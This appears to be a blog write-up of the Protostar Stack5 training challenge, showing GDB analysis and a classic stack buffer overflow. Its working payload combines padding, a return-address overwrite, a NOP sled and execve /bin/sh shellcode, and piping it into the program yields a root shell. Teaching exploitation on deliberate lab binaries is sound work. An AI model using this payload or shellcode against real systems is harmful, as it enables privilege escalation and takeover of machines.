B2B - Protostar, Stack5 (x86)

Introduction:

B2B is a series I have forced upon myself to make sure my basics are covered when it comes to exploitation. After passing my OSCE, I took a little break from exploitation to focus on a few work aspects, but now I am hungry for more lower level nonsense.

This series will focus mainly on exploitation challenges which cover various techniques. First of which, is the stack overflow challenges within the Protostar image from “exploit education” found here. I gave myself two main rules to stick to whilst working through all these challenges.

1) Don’t read the C source code for each challenge, only the hints section if required

2) Don’t read other peoples write ups for these challenges unless I have already finished it and want to see other routes to further my interest

Stack 5

The sixth challenge of Protostar is “Stack 5”. I approached each challenge with a similar set of steps, so each post will likely follow a similar template(ish). Including initial running, inspecting the disassembly of the binary and some other specific steps in between before finally crafting a payload and owning the process.

Our initial use of the program identified the following:

$ ./stack5
test

The program simply appears to take a single input, presumably does something with it in the background and then prints some output based on the value that was specified. In this case, the binary took the string “test” as it’s input, and printed nothing. This, once again, is looking very similar to the previous challenge, “stack4”, where we had to overwrite the EIP value with an address to our win() function. I wonder if this will have the same structure once again. First things first, let’s dig deeper with GDB. I fired up the program and listed all the functions:

(gdb) info functions
All defined functions:

File stack5/stack5.c:
int main(int, char **);

Okay, so first things first, we don’t have a win() function anymore. I’m assuming this will follow the same pattern as the previous challenges - all the way up to the EIP overwrite. For the record, this was the first challenge I peaked at the hints to see what the goal of this challenge was - and how it was designed to be exploited. These were:

So, it looks like this will be our the first challenge of the Protostar series that requires my payload to include shellcode that I eventually jump to. This could likely be our first payload that drops a shell, exciting! Now we know how the challenge has been designed and the goal, let’s take a look at the main function itself:

(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:	push   ebp
0x080483c5 <main+1>:	mov    ebp,esp
0x080483c7 <main+3>:	and    esp,0xfffffff0
0x080483ca <main+6>:	sub    esp,0x50
0x080483cd <main+9>:	lea    eax,[esp+0x10]
0x080483d1 <main+13>:	mov    DWORD PTR [esp],eax
0x080483d4 <main+16>:	call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:	leave  
0x080483da <main+22>:	ret    
End of assembler dump.

A high-level breakdown of this function can be seen as:

As we can see, the main function is very similar to the previous challenges. It’s likely that our previously used payload will also work here to give us full control of the EIP register (instruction pointer). Once again, if you haven’t done much work with buffer overflows or controlling the execution of a programs flow via this attack vector, please check out some read ups online. Pretty much all of them are great and informative, especially if they focus on “vanilla EIP buffer overflows” or similar.

So, let’s refresh. Our previously used payload was:

python -c 'print "A"*76 + "\xf4\x83\x04\x08"' > /tmp/stack4

This overflowed our buffer, filled the address in memory up to EIP with “A” characters, and then overwrote the EIP register to point at our win() function at address “0x080483f4”. In the case of stack5, we want to point at a non-existing set of code, specifically our own shellcode. By redirecting EIP to our own shellcode, we will jump into a space of the buffer that we control and can add whatever instructions we want there - gaining our own custom flow of execution!

So, the next question is, how do we jump to our own shellcode? Luckily, there are multiple easy ways - but to narrow this down we need to first see where we can place shellcode. To do this, let’s get hold of our EIP:

python -c 'print "A"*76 + "BBBB"' > /tmp/stack5
(gdb) r < /tmp/stack5
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 < /tmp/stack5

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Great!! Our payload from the previous challenge gave us control of EIP. So at this moment, we have 76 bytes of space that could hold shellcode (the A buffer), however, let’s see if we can continue writing after our EIP overwrite to store shellcode there. We can check for this by attempting to add a number of C characters afterwards.

python -c 'print "A"*76 + "BBBB" + "C"*100' > /tmp/stack5

Running GDB with the above file as our input, we see the stack holds the following data:

(gdb) x/50wx $esp
0xbffffc00:	0xbffffc10	0xb7ec6165	0xbffffc18	0xb7eada75
0xbffffc10:	0x41414141	0x41414141	0x41414141	0x41414141 <--- Input starts here
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc50:	0x41414141	0x41414141	0x41414141	0x42424242 <--- EIP overwrite
0xbffffc60:	0x43434343	0x43434343	0x43434343	0x43434343 <--- Potential shellcode space
0xbffffc70:	0x43434343	0x43434343	0x43434343	0x43434343    
0xbffffc80:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffc90:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffca0:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffcb0:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffcc0:	0x43434343	0xb7ff6200

To relate the above to our payload:

We now know we have a nice amount of space on the stack, as well as a means of getting to this shellcode. For this attack, I will be using the shellcode obtained from here, which effectively just pops a new “/bin/sh” process. The shellcode is:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

After a few tweaks, our payload will now look like the following. You will notice I have added a little NOP sled between the EIP overwite and the start of our payload. This effectively gives us a range of addresses we can jump to - without accidentally missing any important shellcode bytes:

python -c 'print "A"*76 + "BBBB" + "\x90"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/stack5

Running in GDB and placing a breakpoint of gets(), we can see our stack now looks like the following after we have given the process our input:

(gdb) x/50wx $esp
0xbffffc00:	0xbffffc10	0xb7ec6165	0xbffffc18	0xb7eada75
0xbffffc10:	0x41414141	0x41414141	0x41414141	0x41414141 <-- Junk buffer
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc50:	0x41414141	0x41414141	0x41414141	0x42424242 <-- EIP overwrite
0xbffffc60:	0x90909090	0x90909090	0x6850c031	0x68732f2f <-- 8 NOPs and shellcode
0xbffffc70:	0x69622f68	0x50e3896e	0xb0e18953	0x0080cd0b
0xbffffc80:	0x00000001	0xbffffcc0	0xb7ff0626	0xb7fffab0
0xbffffc90:	0xb7fe1b28	0xb7fd7ff4	0x00000000	0x00000000
0xbffffca0:	0xbffffcd8	0x467eb6f5	0x6c3e00e5	0x00000000
0xbffffcb0:	0x00000000	0x00000000	0x00000001	0x08048310
0xbffffcc0:	0x00000000	0xb7ff6210

Everything looks great to me, we can see our input starts at “0xbffffc10”, our EIP overwrite lies at “0xbffffc5c”, our NOP sled starts at “0xbffffc60” and finally the shellcode starts at “0xbffffc68”. We should now be able to set our EIP to any address between “0xbffffc60” and “0xbffffc67” and we should land in our shellcode. For the following payload, I chose to use “0xbffffc64”:

python -c 'print "A"*76 + "\x64\xfc\xff\xbf" + "\x90"*8 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/stack5

Breaking at the same point as before, our stack now looks like this:

(gdb) x/50wx $esp
0xbffffc00:	0xbffffc10	0xb7ec6165	0xbffffc18	0xb7eada75
0xbffffc10:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc20:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc30:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc40:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc50:	0x41414141	0x41414141	0x41414141	0xbffffc64 <-- EIP
0xbffffc60:	0x90909090	0x90909090	0x6850c031	0x68732f2f
0xbffffc70:	0x69622f68	0x50e3896e	0xb0e18953	0x0080cd0b
0xbffffc80:	0x00000001	0xbffffcc0	0xb7ff0626	0xb7fffab0
0xbffffc90:	0xb7fe1b28	0xb7fd7ff4	0x00000000	0x00000000

From the following output, you can see that the flow of execution worked correctly, and our new “/bin/dash” program appeared to execute!

(gdb) c
Continuing.
Executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded.  Use the "file" command.
Error in re-setting breakpoint 1: No symbol "main" in current context.
Error in re-setting breakpoint 1: No symbol "main" in current context.

Program exited normally.

However, because computers are hard and I’m derpy, my shell was immediately exiting. Input needs to be a thing (don’t quote me, but the internet appears to agree). As the shell doesn’t receive any input upon spawning, it exits immediately and then our program quits straight after. I guess this is expected behaviour, but not ideal if we want to be backdooring someone’s PC, right? Right.

After a bit of research (shout out LiveOverflow, Billy Ellis and many others who are way better at this than me), it turns out you can just use ‘cat’ without any input and pipe this into the program. I’m not 100% sure how this works, but I guess cat outputs data, and it will output nothing forever if you ask it nicely, so if we “cat” nothing into a shell - then it stays open? Logic is strong, my knowledge is not. Let’s try it!

$(cat /tmp/stack5; cat ) | ./stack5

Interestingly enough, this payload doesn’t want to work outside of GDB. I know from past experiences and research that GDB does some weird padding to the environment we are in which can sometimes mess with addresses and the memory layout. Perhaps our EIP overwrite address is wrong (likely).. I guess this is one of the problems with hardcoding sensitive values and using magic numbers within ‘code.’ One thing we could try is extending our NOP sled to give us more wiggle room when jumping to our address. If we have a wider range of choice both before and after our target address then hopefully we have a higher chance that this address exists and holds one of our NOP instructions. Once extended, we will tweak the EIP overwrite address some more to make sure we land towards the middle of this sled.

python -c 'print "A"*76 + "\x60\xfc\xff\xbf" + "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/stack5
(gdb) x/50wx $esp
0xbffffc50:	0xbffffc60	0xb7ec6165	0xbffffc68	0xb7eada75
0xbffffc60:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc70:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc80:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffc90:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffffca0:	0x41414141	0x41414141	0x41414141	0xbffffc60
0xbffffcb0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffcc0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffcd0:	0x90909090	0x90909090	0x6850c031	0x68732f2f
0xbffffce0:	0x69622f68	0x50e3896e	0xb0e18953	0x0080cd0b
0xbffffcf0:	0xbffffd28	0x957fdc62	0xbf3eca72	0x00000000
0xbffffd00:	0x00000000	0x00000000	0x00000001	0x08048310
0xbffffd10:	0x00000000	0xb7ff6210

From the output above, we can see that our EIP now points to the beginning of our “A” buffer, which is odd. Let’s shift this up and point at “0xbffffcc0”, one of the addresses within our NOP sled.

python -c 'print "A"*76 + "\xc0\xfc\xff\xbf" + "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"' > /tmp/stack5

This payload works in GDB (again) and running it outside of GDB produces no errors, no illegal instructions and no segfaults. It looks like we might have worked, but the shell instantly closed again. Let’s try the cat trick for our final attempt:

$ whoami
user
$ (cat /tmp/stack5; cat ) | ./stack5
whoami
root

Awesome! That popped the challenge as we wanted and gave us our root shell!